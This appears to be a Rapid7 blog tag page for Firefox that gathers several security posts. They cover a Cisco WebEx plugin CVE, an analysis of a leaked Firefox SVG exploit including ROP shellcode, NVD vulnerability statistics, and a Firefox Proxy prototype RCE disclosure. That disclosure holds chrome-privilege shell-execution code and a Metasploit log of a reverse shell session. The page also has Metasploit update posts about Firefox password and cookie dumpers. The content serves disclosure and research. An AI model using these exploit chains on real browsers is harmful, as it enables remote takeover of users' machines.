Rapid7 Blog

Firefox  

CVE-2017-3823: Remote Code Execution Vulnerability in Cisco WebEx Browser Plugin

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned…

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned a user if they were launching a meeting from a domain other than *.webex.com or *.webex.com.cn, however, the fix was questioned by April King from Mozilla based on the WebEx domain's security audit results from their Observatory project. Cisco released a fix on 26th January 2017 that not only whitelisted the domains where meetings could be launched, but also tightened up the verification mechanisms to calls on DLLs, as observed by Tavis Ormandy at Project Zero, “It looks like they correctly handle Mac and Windows, and have also added some verification on GpcInitCall/GpcExitCall/etc so that functions have to match a RegEx. This looks like a huge improvement.” Full details of the vulnerability disclosure from Cisco can be found here. The following versions of plugins were declared vulnerable: < 1.0.7 on Google Chrome < 106 on Mozilla Firefox < 2.1.0.10 on Internet Explorer Nexpose version 6.4.21 will allow you to detect if you have a vulnerable version of the Cisco WebEx plugin installed on any of your Windows hosts in your network and if you are vulnerable to CVE-2017-3823. As this is an authenticated check, credentials will need to be configured for the scan.

12 Days of HaXmas: A Fireside Foray into a Firefox Fracas

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the community. And while these gifts…

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them. Towards the end of November, the Tor community was shaken up by the revelation of an previously unknown vulnerability being actively exploited against pedo^H^H^H^H Tor Browser users. Some further drama unfolded regarding who the source for the exploit may be, and I received questions from several reporters who wanted every single detail I could give them. While I did not participate in commenting at the time, I'll say everything I will ever say about it now: Yes, I'm aware of a very similar exploit which targeted Firefox No, I didn't write it Largely lost among all the noise are the nuances of the vulnerability and the exploit itself, which I know the author put his heart and soul into. If anonymous entrants are ever retroactively awarded Pwnies, I'd like to put his unsaid name into the hat. In this part of the 12 Days of HaXmas, I wanted to offer a high level overview to some of the more interesting parts of both the vulnerability—which in my opinion doesn't fit cleanly into any classic category—and the exploit. I'm not going to dive into all of the gory details for a couple of reasons. Firstly, timing. Had this been leaked earlier in the year, I might have been able to do the analysis part some justice. Second, while verbose technical expositions certainly have their place, a blog is not the right spot. The content might take take another 12 days to cover, and for those seeking to learn from it, I feel your own analysis of the exploit coupled with lots of dirty work in a debugger would be your best option. In that case, hopefully this can offer you some direction along the way. The Discovery It would be remiss of me if I didn't begin by pointing out that no fuzzer was used in the discovery of this vulnerability. The only tools employed were the Woboq Code Browser (Woboq Code Browser — Explore C code on the web), WinDBG, a sharp mind, and exhaustive effort. The era of low-hanging fruit is largely over in my opinion. Don't be the gorilla, be the lemur, climb that tree. The Vulnerability In the following snippet from nsSMILTimeContainer.cpp, the pointer p is initialized to the beginning of the mMilestoneEntries array. void nsSMILTimeContainer::NotifyTimeChange() { // Called when the container time is changed with respect to the document // time. When this happens time dependencies in other time containers need to // re-resolve their times because begin and end times are stored in container // time. // // To get the list of timed elements with dependencies we simply re-use the // milestone elements. This is because any timed element with dependents and // with significant transitions yet to fire should have their next milestone // registered. Other timed elements don't matter. const MilestoneEntry* p = mMilestoneEntries.Elements(); #if DEBUG uint32_t queueLength = mMilestoneEntries.Length(); #endif while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) { mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get(); elem->TimedElement().HandleContainerTimeChange(); MOZ_ASSERT(queueLength == mMilestoneEntries.Length(), "Call to HandleContainerTimeChange resulted in a change to the " "queue of milestones"); ++p; } } Now, consider the following two examples: Exhibit One <html> <head> <title> Exhibit One </title> </head> <body> <svg id='foo'> <animate id='A' begin='1s' end='10s' /> <animate begin='A.end + 5s' dur='15s' /> </svg> </body> </html> Exhibit Two <html> <head> <title> Exhibit Two </title> </head> <body> <svg id='foo'> <animate id='A' begin='1s' end='10s' /> </svg> <svg id='bar'> <animate begin='A.end + 5s' dur='15s' /> </svg> </body> </html> In these examples, for each <svg> element that uses <animate>, an nsSMILTimeContainer object is assigned to it in order to perform time book keeping for the animations (<animateTransform> or <animateMotion> will also have the same behavior).  The epoch of each container is the time since the creation of the <svg> element it is assigned to relative to the creation of the page.  The nsSMILTimeContainer organizes each singular event in an animation with an entry for each in the mMilestoneEntries member array. See: nsSMILTimeContainer.h — DXR In Exhibit One, the mMilestoneEntries array will contain four entries: one for both the beginning and ending of 'A', in addition to another two, one being relative to A's completion (A.end + 5s), and the other demarcating the end of the animation, in this case 30 seconds (A.end + 5s + 15s). In Exhibit Two we see two independent <svg> elements.  In this example, two separate nsSMILTimeContainer objects will be created, each of course having it's own mMilestoneEntries array. The exploit makes a single call to the function pauseAnimation(), which in turn triggers entry into the NotifyTimeChange() method.  nsSMILTimeContainer::NotifyTimeChange() proceeds to iterate through all entries in the mMilestoneEntries array, retrieving each individual entries nsSMILTimedElement object, after which it calls the object's HandleContainerTimeChange() method.  After some time, this method will end up making a call to the NotifyChangedInterval() method of of the nsSMILTimedElement object.  In NotifyChangedInterval(), HandleChangedInterval() will be entered if the animation being processed has a milestone relative to another animation.  In Exhibit Two, bar's beginning is relative to the element A belonging to foo, so HandleChangedInterval() will be called. Within HandleChangedInterval(), a call to nsSMILTimeValueSpec::HandleChangedInstanceTime() will inevitably be made.  This method determines if the current animation element and the one it has a dependency on are contained within the same nsSMILTimeContainer object.  If so, as is the case with Exibit One, the pauseAnimations() function basically lives up to it's name and pauses them.  In Exhibit Two, the animations do not share the same nsSMILTimeContainer object, so additional bookkeeping is required in order to maintain synchronization.  This occurs, with subsequent calls to nsSMILTimedElement::UpdateInstanceTime() and nsSMILTimedElement::UpdateCurrentInterval() being made, and nothing too interesting is to be seen, though we will be revisiting it very shortly. Deeper down the rabbit hole ... What about the case of three or more animation elements with relative dependencies? Looking at the exploit, we see four animations split unequally among two containers.  We can modify Exhibit Two using details gleaned from the exploit to arrive at the following example. Exhibit Three <html> <head> <title> Exhibit Three </title> </head> <body> <script> var foo = document.getElementById('foo'); foo.pauseAnimations(); </script> <svg id='foo'> <animate id='A' begin='1s' end='5s' /> <animate id='B' begin='10s' end='C.end' dur='5s' /> </svg> <svg id='bar'> <animate id='C' begin='0s' end='A.end/> </svg> </body> </html> In this example, C's ending is relative to A's end, so we end up in nsSMILTimedElement::UpdateCurrentInterval() again, except that a different branch is followed based on the example's milestones: if (mElementState == STATE_ACTIVE) { // The interval is active so we can't just delete it, instead trim it so // that begin==end. if (!mCurrentInterval->End()->SameTimeAndBase(*mCurrentInterval->Begin())) { mCurrentInterval->SetEnd(*mCurrentInterval->Begin()); NotifyChangedInterval(mCurrentInterval, false, true); } // The transition to the postactive state will take place on the next // sample (along with firing end events, clearing intervals etc.) RegisterMilestone(); NotifyChangedInterval() is called to resolve any milestones relative to other animations for C.  Within foo, B has milestones relative to C in bar.  This results in a recursive branch along the same code path which ultimately hits UpdateCurrentInterval(), which in turn sets the state of the nsSMILTimedElement.  mElementState can be one of four possible values: STATE_STARTUP STATE_WAITING STATE_ACTIVE STATE_POSTACTIVE all of which perfectly describes their own respective meanings.  In Exhibit Three, B's beginning is set to occur after it's ending is set (C.end == A.end == 5s).  Since it will never start, the code marks it as STATUS_POSTACTIVE.  This results in the following code within the UpdateCurrentInterval() method creating a new interval and setting it as current. if (GetNextInterval(GetPreviousInterval(), mCurrentInterval, beginTime, updatedInterval)) { if (mElementState == STATE_POSTACTIVE) { MOZ_ASSERT(!mCurrentInterval, "In postactive state but the interval has been set"); mCurrentInterval = new nsSMILInterval(updatedInterval); mElementState = STATE_WAITING; NotifyNewInterval(); } With this occurring, UpdateCurrentInterval() now makes a call to the RegisterMilestone() method.  This was not the case in Exhibit Two.  With a new interval having been created, the method will add a new entry in the mMilestoneEntries array of containerA's nsSMILTimeContainer object, resulting in the array being freed and reallocated elsewhere, leaving the pointer p from nsSMILTimeContainer::NotifyTimeChange() referencing invalid memory. Exploitation Overview Just because the pointer p in NotifyTimeChange() can be forced to point to free memory doesn't mean it's all over.  Firefox overwrites freed memory with 0x5a5a5a5a, which effectively mitigates a lot of classic UaF scenarios.  Secondly, there is no way to allocate memory in the freed region after the milestone array is relocated.  Given these conditions, it's becoming clear that the vulnerability cannot be exploited like a classic use-after-free bug.  If you forced me to categorize it and come up with a new buzz word as people are so apt to in this industry, I might call it a dangling index, or an iterator run-off.  Regardless of silly names, the exploit utilizes some artful trickery to overcome the hurdles inherent in the vulnerability.  As I mentioned at the offset, for the sake of brevity, I'm going to be glossing over a lot of the details with regards to heap determinism (the terms "heap grooming" and "heap massaging" irritate me more than the word "moist"). In the first step, the exploit defragments the heap by spraying 0x80 byte blocks of ArrayBuffers, and another 0x80 of milestone arrays.  Each of the milestone arrays is filled to capacity, and then one additional element is added to each.  This causes the arrays to be reallocated elsewhere, leaving 0x80 holes.  After filling these holes with vulnerable milestone arrays, assuming the last element of the array is the one that triggers the vulnerability, there is now a high probability that the next iteration of the NotifyTimeChange() loop will point within one of the 0x80 ArrayBuffer's that were allocated first.  It is important that the last element be the one to trigger the bug, as otherwise, the memory would be freed and overwritten before an attacker could take advantage of it. The next obstacle in the process is bypassing the object reference count which, under normal circumstances, would cause the loop to exit.  Even if this were a full technical exposition, I'd leave this part as an exercise to the reader because of reasons.  I invite you to figure it out on your own, because it's both quite clever and critical to the success of the exploit.  Those pesky reasons though.  Seasoned exploitation engineers will see it quickly, and astute students will have truly learned when they unravel the knot. _I'd like to think that this is a good hint, but the only certainty is that it comes up on my 3 AM debugging session playlist a lot_ In any case, after the exploit does it's thing, the exit condition of the loop while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) will never be reached, and instead the loop will continue to iterate infinitely.  While this is great news, it also means that an attacker is unable to continue executing code.  The solution to this is one of the more brilliant aspects of this exploit, that being the use of a Javascript worker thread. var worker = new Worker('cssbanner.js'); With the worker thread, Javascript can continue being executed while the infinite loop within the main thread keeps spinning.  In fact, it's used to keep tabs on a lot of magical heap manipulation happening in the background, and to selectively exit the loop when need be.  From here, the exploit leverages a series of heap corruptions into a r/w primitive, and bypasses ASLR by obtaining the base address of xul.dll from said corruptions by parsing the files DOS header in memory.  This, along with resolving imports, is the main purpose of the PE(b,a) function in the leaked exploit. With ASLR defeated, all that lies ahead is defeating Data Execution Prevention, as the Tor browser doesn't feature any sort of sandbox technology.  The exploit handles this beautifully by implementing an automatic ROP chain generation function, which can locate the addresses of required gadgets amongst multiple versions of Firefox/Tor browser.  After constructing the chain, the following shellcode is appended (I've converted all addresses to base 16 for readability and added comments): ropChain[i++] = 0xc4819090; // add esp, 800h ropChain[i++] = 0x0800; ropChain[i++] = 0x5050c031; // xor eax, eax ; push eax ; push eax ropChain[i++] = 0x5b21eb50; // push eax ; jmp eip+0x23 ; pop ebx ropChain[i++] = 0xb8505053; // push ebx ; push eax ; push eax ropChain[i++] = CreateThread; // mov eax, kernel32!CreateThread ropChain[i++] = 0xb890d0ff; // call eax ropChain[i++] = arrBase + 0x2040; // mov eax, arrBase+0x2040 ropChain[i++] = 0x5f58208b; // mov esp, dword ptr [eax] ; pop eax ; pop edi ropChain[i++] = 0xbe905d58; // pop eax ; pop ebp ropChain[i++] = 0xffffff00; // mov esi, 0xffffff00 ropChain[i++] = 0x000cc2c9; // ret 0x0c ropChain[i++] = 0xffffdae8; // call eip+0x21 ropChain[i++] = 0x909090ff; // placeholder for payload address The shellcode basically allocates stack space and makes a call to CreateThread with the address of the final payload, which is obtained via the jmp eip x023 ; pop ebx line, as it's argument.  It next performs stack cleanup and exits the current infinite NotifyTimeChange() loop to ensure clean process continuation.  At least, it's supposed to.  Initial findings I've read from other researchers seem to indicate that it does not continue cleanly when used against Tor browser.  I need to investigate this myself at the first lull in the holiday festivities. I hope I managed to prove that exploiting buffer overflows should be an art -Solar Designer That wraps this up for now. Check back for updates in the future as I continue analysis on it. If you have questions about anything, feel free to ask either here or find me on Twitter @iamwilliamwebb. Happy holidays! References Original leaked exploit: [tor-talk] Javascript exploit

Using the National Vunerability Database to Reveal Vulnerability Trends Over Time

This is a guest post by Ismail Guneydas. Ismail Guneydas is senior technical leader with over ten years of experience in vulnerability management, digital forensics, e-Crime investigations and teaching. Currently he is a senior vulnerability manager at Kimberly-Clark and an adjunct faculty at Texas A&…

This is a guest post by Ismail Guneydas. Ismail Guneydas is senior technical leader with over ten years of experience in vulnerability management, digital forensics, e-Crime investigations and teaching. Currently he is a senior vulnerability manager at Kimberly-Clark and an adjunct faculty at Texas A&M. He has M.S.  in computer science and MBA degrees. 2015 is in the past, so now is as good a time as any to get some numbers together from the year that was and analyze them.  For this blog post, we're going to use the numbers from the National Vulnerability Database and take a look at what trends these numbers reveal. Why the National Vulnerability Database (NVD)?  To paraphrase Wikipedia for a moment, it's a repository of vulnerability management data, assembled by the U.S. Government, represented using the Security Content Automation Protocol (SCAP). Most relevant to our exercise here, the NVD includes databases of security-related software flaws, misconfigurations, product names, impact metrics—amongst other data fields. By pouring through the NVD data from the last 5 years, we're looking to answer following questions: What are the vulnerability trends of the last 5 years, and do vulnerability numbers indicate anything specific? What are the severities of vulnerabilities? Do we have more critical vulnerabilities or less? What vendors create most vulnerable products? What products are most vulnerable? Which OS? Windows OSX, a Linux distro? Which mobile OS? IOS, Android, Windows? Which web browser? Safari, Internet Explorer, Firefox? Vulnerabilities Per Year That is correct! Believe it or not, there was a 20% drop in the number of vulnerabilities compared to the number of vulnerabilities in 2014. However, if you look at the overall trending growth in the last 5 years, the 2015 number seems to be consistent with the overall growth rate. The abnormality here was the 53% increase in 2014. If we compare 2015's numbers with 2013, then we see  24% increase. All in all though, this doesn't mean we didn't have an especially bad year as we did in 2014 (the trend shows us we will have more vulnerabilities in the next few years as well). That's because when we look closely at the critical vulnerabilities, we see something interesting. There were more critical vulnerabilities in 2015 then 2014. In 2014 we had more vulnerabilities with CVSS 4, 5, and 6; however, 2015 had more vulnerabilities with CVSS 7, 8, 9 and 10! As you see above there are 3376 critical vulnerabilities in 2015 where as there were only 2887 critical vulnerabilities in 2014. (That is a 17% increase.) In other words, the proportion of critical vulnerabilities is increasing overall. That means we need to pay close attention to our vulnerability management programs and make sure they are effective—fewer false positives and negatives—up-to-date with recent vulnerabilities, and faster with shorter scan times. Severity of Vulnerabilities This chart shows weight distribution of 2015 vulnerabilities, based on CVSS score. As (hopefully) most of you know, 10 is the highest/most critical level, whereas 1 is the least critical level. There are many vulnerabilities with CVSS 9 and 10. Let's check following graph that gives more clear picture: This means 36% of the vulnerabilities were critical (CVSS >=7). The average CVSS is 6.8 so that is at the boundary to be critical. The severity of vulns is increasing, but this isn't to say it's all bad. In fact, it really exposes a crucial point: That you have to be deploying a vulnerability management program that separates the weak from the chaff. Effective vulnerability management program will help you to find and then remediate vulnerabilities in your environment. Vulnerability Numbers Per Vendor Let's analyze national vulnerability database numbers by checking vendors' vulnerabilities. The shifting tides in vulnerabilities doesn't stop for any company, including Apple. The fact is there are always vulnerabilities, the key has to be detecting these before they are exploited. Apple had the most number of vulnerabilities in 2015.  Of course with many iOS and OSX vulnerabilities out there in general, it's no surprise this number went up. Here is the full list: Apple jumped from being number 5th in 2014.  Microsoft was number 3rd and Cisco was number 4th. Surprisingly Oracle (owner of Java) did well this year and took 4th place (they were number 2 last year). Congratulations (?) to Canonical and Novel, as they were not in top 10 list last year (they were 13rd and 15th).  So in terms of prioritization, with Apple making a big jump last year, if you have a lot of iOS in your environment, it's definitely time to  make sure you've prioritized those assets accordingly. Here's a comparison chart that shows number of vulnerabilities per vendor for 2014 and 2015. Vulnerabilities Per OS In 2015, according to the NVD, OSX had the most vulnerabilities, followed by Windows 2012 and Ubuntu Linux. Here most vulnerable Linux distro is Ubuntu. Opensuse is the runner up and then Debian Linux. Interestingly Windows 7, the most popular desktop application based on its usage, is reported to be less vulnerable then Ubuntu. (That may surprise a few people!) Vulnerabilities Per Mobile OS IPhone OS has the highest number of vulnerabilities published in 2015. Windows and Android came after iPhone. 2014 was no different. iPhone OS had the highest number of vulnerabilities and Windows Rt and Android followed it. Vulnerabilities Per Application Vulnerabilities Per Browser IE had highest number of vulnerabilities in 2015. In 2014, the order of product with the highest number of vulnerabilities were exactly same. (IE, Chrome, Firefox, Safari.) Summary Given the trends over the past few years reported via the NVD, we should expect more vulnerabilities to be published with higher CVSS score this year. Moreover, I predict that mobile OS will be hot area for security — as more mobile security professionals find and report mobile OS vulnerabilities, we'll see an increase in Mobile OS vulnerabilities as well. It's all about priorities. We only have so many hours in the day and resources available to us to remediate what we can. But if you take intel from something like the NVD and layer that over the visibility you have into your own environment, you can use this information to help build a good to-do list built by priorities, and not fear.

R7-2015-04 Disclosure: Mozilla Firefox Proxy Prototype RCE (CVE-2014-8636)

This blog post was originally written by Joe Vennix, and published here with his permission. All first person pronouns refer to him.Adventures in Browser Exploitation: Firefox 31 - 34 RCEA few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies…

This blog post was originally written by Joe Vennix, and published here with his permission. All first person pronouns refer to him.Adventures in Browser Exploitation: Firefox 31 - 34 RCEA few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies are a neat ECMAScript 6 feature that Firefox has had implemented for some time now. Proxy objects allow transparent interception of Javascript's normal get-/set-property pattern:     var x = {};     var p = Proxy(x, {       get: function() {         console.log('getter called!');         return 'intercepted';       },       set: function() {         console.log('setter called!');       }     });     console.log(p.foo);     p.bar = 1; When run, the above code will print:     > getter called!     > intercepted     > setter called! This is very useful to Javascript programmers as it allows for the implementation of the Ruby-style method_missing catch-all method. However, there are security implications; the W3C spec often requires objects from untrusted Javascript to be passed to privileged native code. Getters and setters can allow unprivileged code to run in unexpected ways inside of the privileged native code itself, at which point security checks can start to break. One example of this is geohot's 2014 Chrome ArrayBuffer memory corruption bug, which tricked native code operating on the buffer by defining a dynamic getter method on the ArrayBuffer's length property. There's a a good writeup by Palo Alto Networks.So, the presence of Proxy objects in Firefox mainstream warrants some investigation. After playing with the implementation, some problems were apparent in how privileged code would interact with Proxy objects that were acting as the prototype of another object. For example, the following line would hang the browser indefinitely:     document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }}); I played with it some more but could not find a way to abuse the problem further. I reported this to Mozilla as bug 1120261, hoping that someone would investigate. After some back-and-forth, I found out that the problem was already fixed in the 35.0 branch, so I put the issue out of my mind.The BreakthroughA thought struck one day, perhaps the getter is being called back in a different environment. I decided to test this theory by attempting to open a window with chrome privileges: such an operation should not be permitted by unprivileged code. I gave it a shot:     var props = {};     props['has'] = function(){       var chromeWin = open("chrome://browser/content/browser.xul", "x")();     };     document.__proto__ = Proxy.create(props) I loaded the page and an alert for "attempting to open a popup window" appeared. This was a good sign, as it meant the chrome:// URL was being allowed to load, and was stopped only by the popup blocker. Which meant... clicking anywhere on the page opened a chrome-privileged URL.What is chrome:// ?Let's back up a bit. Firefox, like many other browsers, has a notion of privileged zones: different URI schemes have different powers. Chromium does this too (chrome://downloads), and Safari to some extent (file:// URLs). However, Firefox's chrome:// scheme is rather powerful - the Javascript executing under an origin with a scheme of chrome:// has the full privileges of the browser. In the presence of the right vulnerability, attackers can use this to get a fully-working shell on the user's machine.If you want to test this, open the Developer Console (meta-alt-i) and browse to `chrome://browser/content/browser.xul`. Run the following code (linux/osx only):     function runCmd(cmd) {         var process = Components.classes["@mozilla.org/process/util;1"]                   .createInstance(Components.interfaces.nsIProcess);         var sh = Components.classes["@mozilla.org/file/local;1"]                 .createInstance(Components.interfaces.nsILocalFile);         sh.initWithPath("/bin/sh");         process.init(sh);         var args = ["-c", cmd];         process.run(true, args, args.length);     }     runCmd("touch /tmp/owned"); You should have a file in /tmp/owned.So if an attacker can find a way to inject code into this window, like we did with the Developer Console, your entire user account is compromised.Injecting codeGaining a reference to a chrome:// window is only half the battle. The Same Origin Policy prevents attacker.com from interacting with the code in chrome://browser, so we will need to find a way around this. Here I got really lucky; I tried a technique I had used when implementing our 22.0-27.0 WebIDL exploit.Here's the technique: by providing the chrome option to open(), when open is called from a chrome-privileged docshell, the provided URL is loaded as the top-level "frame" of the new browser window; that is, there is no skin or interface document that encapsulates our document. A top-level frame has a messageManager property, which is accessible to same-origin code running in other chrome docshells:     // abuse vulnerability to open window in chrome://     var c = new mozRTCPeerConnection;     c.createOffer(function(){},function(){       var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');       // we can now reference the `messageManager` property of the window's parent       alert(w.parent.messageManager)     }); MessageManager is a privileged Firefox API for sending messages between processes. One useful detail is that it allows injecting Javascript code into the process remotely using the `loadFrameScript` function.Gaining RCEFrom here, gaining remote code execution is trivial, thanks to the Firefox privileged payloads included in Metasploit. Just include the Msf::Exploit::Remote::FirefoxPrivilegeEscalation mixin, and the run_payload method will return a configured piece of Javascript code that will call Firefox's XPCOM APIs to spawn a reverse or bind shell on the target. JSON is used here to avoid encoding issues:     # Metasploit module (ruby code)     js_payload = run_payload     js = %Q|         var payload = #{JSON.unparse({code: js_payload})};         injectIntoChrome(payload.code);     |     send_response_html(cli, "<script>js</script>") To see the full exploit source code, see today's disclosure Pull Request 4985. For the impatient, here's what a command shell looks like in Metasploit Framework (tested against Firefox version 32 release): msf exploit(firefox_proxy_prototype) > [*] 5.6.7.8    firefox_proxy_prototype - Gathering target information. [*] 5.6.7.8    firefox_proxy_prototype - Sending HTML response. [*] Command shell session 1 opened (1.2.3.4:4444 -> 5.6.7.8:37750) at 2015-03-23 11:48:53 -0500 Note, that while the Tor Browser Bundle advertises itself as Firefox version 31, it does not appear exploitable in any reasonable setup.Disclosure TimelineThis vulnerability was disclosed according to Rapid7's disclosure policy to Mozilla and CERT/CC.Jan 11, 2015: Originally reported to Mozilla as a low-severity DoS, which turned out to be already patched in trunkJan 13, 2015: Firefox 35.0 shipped with patchJan 20, 2015: RCE implications discovered and disclosed to MozillaFeb 04, 2015: Disclosure to CERT/CCFeb 13, 2015: Mozilla updates their original security advisory, MFSA2015-09 to note possibility of RCEMar 23, 2015: Public disclosure in Pull Request 4985.All in all, I was impressed with Mozilla's response. Plus they sent me a bug bounty for discovering an RCE exploitation vector of an already-patched bug. Very classy!This blog post was originally written by Joe Vennix, and published here with his permission.The Mozilla bug is still currently under embargo as of this writing.Disclosure timeline updated to correct an error on the Jan 13 / FF 35 update.Affected version range in title corrected: 31.0 - 34.0.5 is the correct vulnerable version range.

Weekly Metasploit Update: Heartbleed and Firefox Passwords

And we're back!So, full disclosure: I haven't written an update blog post in almost a month. I'm a terrible person, I know. The reasons are many, of course -- we had a Metasploit 4.9 release at the tail end of March, and then…

And we're back!So, full disclosure: I haven't written an update blog post in almost a month. I'm a terrible person, I know. The reasons are many, of course -- we had a Metasploit 4.9 release at the tail end of March, and then we had this Heartbleed thing happen in early April which still continues to dominate the thoughts and action of everyone I know. Yeah, I don't know many people outside of security. I'm kind of a loser like that.That said, the Metasploit juggernaught stops for no single bug. The exploit elves have been hard at work bringing in new non-Heartbleed exploits, so let's take a look at what's actually new this week. But first...I promise I won't say Heartbleed againBut give me one or two more paragraphs just to get it out of my system. Today's release has both an updated Heartbleed server-side module as well as the new Heartbleed client-side module. Since it's client-side, you can't just "scan" your infrastructure for this vulnerability; you need to get your network users to at least click a link. Lucky for you, though, you don't need to direct them to some site out on the Internet (and give away your security intelligence in the process).Using the Metasploit module, it's pretty trivial to fire it up and test out your existing client software that you use and trust for SSL communications. Does your phone's browser link against a vulnerable version of OpenSSL? Are you sure? How about that curl-based cron job you've been running for the last six months to snag the latest Dogecoin prices and triggers your buy and sell orders? Software like that is notoriously difficult to identify, let alone test, but hopefully with this module you can at least solve that testing part.I promise, I'll shut my yap about Heartbleed now, and just be thankful for the continued job security that it's providing for me and all my friends.More Firefox skulduggeryPeople download crap from the Internet all the time. This is a demonstrable fact which causes no end of frustration to IT administrators and security-minded family members alike. "But I'm no dummy," your users (or mother) might say, "I don't use MSIE on Windows -- I use Firefox on a Mac! Totally safe and virus free!"Well, Rapid7's own Joe Vennix has been on a tear with Firefox lately. He's got three more post modules for unlucky Firefox users -- a cookie stealer (actually, released with 4.9.2), a browser history revealer, and, best of all, a saved password dumper. These all get really useful if you happen to have a browser exploit that can take advantage of the Firefox privileged payloads. Oh, and by "exploit," you can take that to also mean, "a malicious add-on that the user opted into."What this all boils down to is, the crafty penetration tester can use these Metasploit post-exploit modules to help illustrate the true risk to an organization from a Firefox-based compromise. That's a nice win.New ModulesWe have eight new modules this week for you, including the ones mentioned above. You know what to do.Exploit moduleseScan Web Management Console Command Injection by juan vazquez and Joxean KoretSophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution by Brandon Perry exploits ZDI-14-069Vtiger Install Unauthenticated Remote Command Execution by Jonathan Borgeaud exploits CVE-2014-2268MS14-017 Microsoft Word RTF Object Confusion by Haifei Li, Spencer McIntyre, and unknown exploits CVE-2014-1761Auxiliary and post modulesOpenSSL Heartbeat (Heartbleed) Client Memory Exposure by hdm, Antti, Matti, Neel Mehta, and Riku exploits CVE-2014-0160Firefox Gather History from Privileged Javascript Shell by joevFirefox Gather Passwords from Privileged Javascript Shell by joevWindows Gather Enumerate Active Domain Users by Ben Campbell and Etienne StalmansIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Metasploit Weekly Update: Keeping Things Tidy

Making Beautiful Exploits This week, most of our energy has been spent on making Metasploit modules more beautiful. If you're not aware, we have this long-standing bug, Couple hundred msftidy warnings, which deal mostly with the style and syntax of Metasploit modules. msftidy.rb is…

Making Beautiful Exploits This week, most of our energy has been spent on making Metasploit modules more beautiful. If you're not aware, we have this long-standing bug, Couple hundred msftidy warnings, which deal mostly with the style and syntax of Metasploit modules. msftidy.rb is a little Ruby script that does some basic sanity checking on new Metasploit modules checking, and hopefully soon, some basic fixing, too. If you plan to commit to Metasploit, I strongly encourage you to see about working this little guy into your pre-commit hooks by using the script pre-commit-hook.rb down in tools/dev land: https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit- hook.rb Setting this up is pretty easy -- the comment docs explain it best: # To install this script, make this your pre-commit hook your local # metasploit-framework clone. For example, if you have checked out # the Metasploit Framework to: # # /home/mcfakepants/git/metasploit-framework # # then you will copy this script to: # # /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit # # You must mark it executable (chmod +x), and do not name it # pre-commit.rb (just pre-commit) # # If you want to keep up on changes with this hook, just: # # ln -sf <this file> <path to commit hook> That's it! You can now safely commit things to your local feature branch and know that you're not accidentally trying to send us modules that core committers will no doubt bug you about. For a little while, we had msftidy also checking incoming pull requests on Travis-CI, but apparently that's not quite working anymore (still digging into it, probably has to do with commit depth). Soon it'll work again, I promise, so we can auto-fail anything that doesn't pass this minimum bar we've established for acceptability. Yes, this is all a little bit fascist. But it's fascism with a heart, I promise. Beloved Metasploit contributor Chris John Riley mused on msftidy's ways in a tweet about his joy in using msftidy to clean up his code. That sparked a little bit of a back and forth from a few Metasploit graybeards about the particular virtues of msftidy. Of course, I just happen to have this soap box right here, so I may as well use it. For me, as a maintainer of a whole lot of people's code (around 200ish direct contributors), msftidy gives me a way to stave off code rot.  Remember, we're not writing code for computers -- that's the easy part. We spend an awful lot of time writing code for humans, and as it so often happens, one of those humans is yourself, six months in the future, looking at a bug report. So, when some simple patterns are recognized and reused, it makes the business of figuring out bugs, adding functionality, and generally maintaining a library of about 2500 Metasploit modules kind of a reasonable task. Otherwise, we'd be spending all our time trying to figure out tabstops and chasing down shadow datastore options and cleaning out old SVN artifacts over and over and over again, leaving no time left over to do useful work like advance the state of the art of security. To be clear: if you want to write in your own personal idiomatic style, go nuts! I won't stop you. Seriously, there are 1600 forks of Metasploit. Maybe some of them do things a little differently. Sadly, though, we won't be able to accept your nuggets of awesome in our professional (free) product, so if you want to have your stuff in the most popular Metasploit fork, there are some (honestly, not too hard) basic guidelines to follow. Thanks to William Vu and Christian Mehlmauer for their recent work on making msftidy a better tool for sustainable security development. New Modules This week's release features two new modules, including another bit of browser trickery from Joe Vennix, a Firefox shellcode execution wrapper. It's pretty neat, in that you can upgrade your Firefox javascript shells (detailed in Joe's blog post from January, 2014) to proper Meterpreter shells, all without writing anything to disk. Dang! Exploit modules Firefox Exec Shellcode from Privileged Javascript Shell by joev MPlayer Lite M3U Buffer Overflow by C4SS!0 and h1ch4m and Gabor Seljan exploits BID-46926 If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 7-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button. For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

New Metasploit Payloads for Firefox Javascript Exploits

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling…

